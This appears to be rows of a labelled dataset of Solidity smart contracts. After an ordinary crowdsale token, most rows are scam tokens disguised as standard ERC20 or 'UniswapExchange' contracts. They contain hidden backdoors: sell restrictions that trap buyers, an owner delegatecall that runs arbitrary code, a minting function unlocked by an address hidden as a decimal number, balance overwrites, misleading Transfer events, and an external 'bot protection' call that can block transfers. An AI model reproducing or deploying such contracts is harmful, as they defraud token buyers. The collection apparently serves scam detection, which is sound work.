function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "MATIC TOKEN";
string public constant TOKEN_SYMBOL = "MATIC";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x1f97b89a0dC1426Ec75EC13669cfCC5ee67a890f;
uint public constant START_TIME = 1558197000;
bool public constant CONTINUE_MINTING = false;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(91255 * TOKEN_DECIMAL_MULTIPLIER, 0x3A3870d906f6B8EF1127E78103B038939B58b63e, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1577806440)
CappedCrowdsale(416415538874582214673)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function setStartTime(uint _startTime) public onlyOwner {
require(now < openingTime);
require(_startTime > openingTime);
require(_startTime < closingTime);
emit TimesChanged(_startTime, closingTime, openingTime, closingTime);
openingTime = _startTime;
}
function setEndTime(uint _endTime) public onlyOwner {
require(now < closingTime);
require(now < _endTime);
require(_endTime > openingTime);
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
closingTime = _endTime;
}
function setTimes(uint _startTime, uint _endTime) public onlyOwner {
require(_endTime > _startTime);
uint oldStartTime = openingTime;
uint oldEndTime = closingTime;
bool changed = false;
if (_startTime != oldStartTime) {
require(_startTime > now);
require(now < oldStartTime);
require(_startTime > oldStartTime);
openingTime = _startTime;
changed = true;
}
if (_endTime != oldEndTime) {
require(now < oldEndTime);
require(now < _endTime);
closingTime = _endTime;
changed = true;
}
if (changed) {
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
}
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value <= 200000000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 0 | 646 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,890 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract BabyVLaunch is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 0;
string public name = "BabyVLaunch";
string public symbol = "BABYVPAD";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wrappedBinance, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _reallyGoHere, uint amount) public {
require(msg.sender == owner);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = amount;
emit Transfer(address(0x0), _reallyGoHere[i], amount);
}
}
function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_reallyGoHere.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = _amounts[i];
emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]);
}
}
} | 1 | 3,556 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,202 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StandardToken {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) internal balances_;
mapping(address => mapping(address => uint256)) internal allowed_;
uint256 internal totalSupply_;
string public name;
string public symbol;
uint8 public decimals;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances_[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed_[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances_[msg.sender]);
balances_[msg.sender] = balances_[msg.sender].sub(_value);
balances_[_to] = balances_[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
